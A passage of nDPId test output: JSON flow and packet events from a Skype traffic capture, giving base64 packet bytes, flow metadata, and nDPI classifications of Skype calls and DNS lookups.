+00424{"flow_id":142,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":186329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04itAAEAGdv3AqAEinTeCmcOJAbvJCUUtl+7ieIAQECzBIgAAAQEICj4jCvdOtN4h"} +00523{"flow_id":142,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":186428,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8QA1AAEAGGNTAqAEinTeCmcOJAbvJCUUtl+7ieIAYECyrbwAAAQEICj4jCvdOtN4hgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICiK+DRzmfsbbpjuMlmH0Tl"} +00436{"flow_id":141,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":201202,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsCidNziSwKgBIgG7w4gH6KF9F4LeCaASOJAKyQAAAgQFrAQCCApNhXK2PiMKdQEDAwk="} +00424{"flow_id":141,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":201283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0v5VAAEAG45rAqAEinTc4ksOIAbsXgt4JB+ihfoAQECxhYwAAAQEICj4jCwVNhXK2"} +00525{"flow_id":141,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":888,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":201396,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8oaNAAEAGAUXAqAEinTc4ksOIAbsXgt4JB+ihfoAYECzKLwAAAQEICj4jCwVNhXK2gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIDSm5DB\/tecXerTaLmWj\/TV"} +00437{"flow_id":133,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":889,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":263998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8+epAAEAGqT3AqAEinTc4ksOFnF5LaK51T0tw1IAYECnpQgAAAQEICj4jC0NNhXFJby9fpLXtPtU="} +00424{"flow_id":142,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":319530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0PDlAADcGJfCdN4KZwKgBIgG7w4mX7uJ4yQlFdYAQAB3QyAAAAQEICk603kI+Iwr3"} +00475{"flow_id":142,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":319627,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABW9spAAEAGYjzAqAEinTeCmcOJAbvJCUV1l+7ieIAYECzH3QAAAQEICj4jC3pOtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00424{"flow_id":141,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":347348,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA006RAADMG3IudNziSwKgBIgG7w4gH6KF+F4LeUYAQAB1xBQAAAQEICk2Fcts+IwsF"} +00463{"flow_id":141,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":347459,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABP\/1tAAEAGo7nAqAEinTc4ksOIAbsXgt5RB+ihfoAYECzz9gAAAQEICj4jC5VNhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00436{"flow_id":143,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":353523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGyOVv3UovwKgBIgG7w4qMyvZEkcpNB6ASOJB16gAAAgQFrAQCCApNhWBgPiMKdQEDAwk="} +00424{"flow_id":143,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":353626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0A+1AAEAGuwDAqAEib91KL8OKAbuRyk0HjMr2RYAQECzL7gAAAQEICj4jC5tNhWBg"} +00524{"flow_id":143,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":353740,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8PFFAAEAGglTAqAEib91KL8OKAbuRyk0HjMr2RYAYECy2PgAAAQEICj4jC5tNhWBggEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIACC0CxLkdMTRpDGKnG\/6TF"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":897,"source":"skype.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":50059,"dst_port":40015,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":413612,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAarpAAEAGVDDAqAEib91KJsOLnE+UB73TAAAAALAC\/\/+\/fwAAAgQFtAEDAwUBAQgKPiML1gAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":898,"source":"skype.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.21","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":413818,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5rAwAAEAR7JDAqAEiQTffFTLdnFsAJTYGnEoCYEAkEhPrC3cXaZ2QhtIeOoxIY9w9Ekoojl8="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":898,"source":"skype.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.21","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":899,"source":"skype.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":413819,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAySgUAAEARsYLAqAEib91NjDLdnEMAHpNUnEwCeUQO24lPxsdSE1aywi7G9Ehfag=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":899,"source":"skype.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":900,"source":"skype.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":413876,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3KwsAAEARbhfAqAEinTeCkjLdgQkAI6nfnE4CnxxG0E+kNYaCqSmEqqaVzyCf2xFtLT6I"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":900,"source":"skype.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1431969675413,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":901,"source":"skype.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1431969675567,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":50024,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00411{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":567066,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoxtNAAEAGPGLAqAEiEaxkJMNoAbucCLSTZ4D+ClAR\/\/\/87QAA"} +00424{"flow_id":143,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":667575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0luxAADYGMgFv3UovwKgBIgG7w4qMyvZFkcpNT4AQAB3bbAAAAQEICk2FYKk+Iwub"} +00460{"flow_id":143,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":667652,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNf2tAAEAGP2nAqAEib91KL8OKAbuRyk1PjMr2RYAYECyMfgAAAQEICj4jDNNNhWCpro9SILG2kEIipiuKXJkgpDduj12IclUwiw=="} +00437{"flow_id":144,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":904,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":708358,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGx+5v3UomwKgBIpxPw4sbzRl\/lAe91KASOJBx0gAAAgQFrAQCCApNf6NJPiML1gEDAwk="} +00424{"flow_id":144,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":708479,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0poBAAEAGGHbAqAEib91KJsOLnE+UB73UG80ZgIAQECzH1wAAAQEICj4jDPtNf6NJ"} +00499{"flow_id":144,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":709030,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABqedZAAEAGROrAqAEib91KJsOLnE+UB73UG80ZgIAYECzuagAAAQEICj4jDPtNf6NJfaW28PjZtSz\/vkpZK95l4g8iej1A9KtQNcPaP4ABJ5Nx2UgR1Y7Rx80TCQjSqyJf8juwYR53"} +00417{"flow_id":148,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":907,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":716370,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoyPJAAPAGikIRrGQkwKgBIgG7w2hngP4KnAi0lFARn\/5c7gAAAAAAAAAA"} +00411{"flow_id":148,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":716487,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoVvpAAEAGrDvAqAEiEaxkJMNoAbucCLSUZ4D+C1AQ\/\/\/87AAA"} +00437{"flow_id":135,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":909,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":737829,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jBZAAEAGMs\/AqAEib91KL8OHnF60mgVan9mDBYAYECqfVQAAAQEICj4jDRdNhV8Xx9YMHiFnIWo="} +00436{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":910,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":816231,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87QxAAEAGuoDAqAEinTg0LMNwnGCx3l+sHyRlkIAZECknVQAAAQEICj4jDWVMZC+5IVzDseW9I30="} +00475{"flow_id":142,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":911,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":852388,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWVO1AAEAGBBrAqAEinTeCmcOJAbvJCUV1l+7ieIAYECzFzgAAAQEICj4jDYlOtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00462{"flow_id":141,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":913705,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPam1AAEAGOKjAqAEinTc4ksOIAbsXgt5RB+ihfoAYECzxxQAAAQEICj4jDcZNhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":913,"source":"skype.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1431969675950,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55159,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":950087,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPisQAAEARbGbAqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":913,"source":"skype.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1431969675950,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55159,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"a.config.skype.trafficmanager.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":914,"source":"skype.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1431969675950,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63108,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969675,"pkt_ts_usec":950344,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPsQsAAEARRh\/AqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":914,"source":"skype.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1431969675950,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63108,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"a.config.skype.trafficmanager.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00423{"flow_id":144,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":3705,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0uhNAADcGDeNv3UomwKgBIpxPw4sbzRmAlAe+CoAQAB3XZgAAAQEICk1\/o5M+Iwz7"} +00523{"flow_id":144,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":7380,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"PBXCt3IO0NQSxnP1CABFAAB6uhRAADcGDZxv3UomwKgBIpxPw4sbzRmAlAe+CoAYAB1g3QAAAQEICk1\/o5Q+Iwz7W0+jDkwYdyalyU6Dj4HU2pOBY1mmiLVz6n0Ki\/31ujL4cTtm9Z9iwycIFTqWFFeNZVIbEEF+VxzdalPoORYPdFWCi8Axrg=="} +00422{"flow_id":144,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":917,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":7446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA06rBAAEAG1EXAqAEib91KJsOLnE+UB74KG80ZxoAQECnF6wAAAQEICj4jDiNNf6OU"} +00434{"flow_id":144,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":918,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":7992,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8F4hAAEAGp2bAqAEib91KJsOLnE+UB74KG80ZxoAYECkMIgAAAQEICj4jDiNNf6OUySqTc3CS7Ig="} +00483{"flow_id":99,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":919,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":266879,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABd5kpAAEAGcqfAqAEinTeCp8N9Abt3wuIecQen4YAYECwHbwAAAQEICj4jDyZOq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00437{"flow_id":51,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":920,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":399049,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KJpAAEAGMJTAqAEinTeCjMNynGH\/hzYDZw7DuIAZECmalwAAAQEICj4jD6pOvfULJJFwCjegzGQ="} 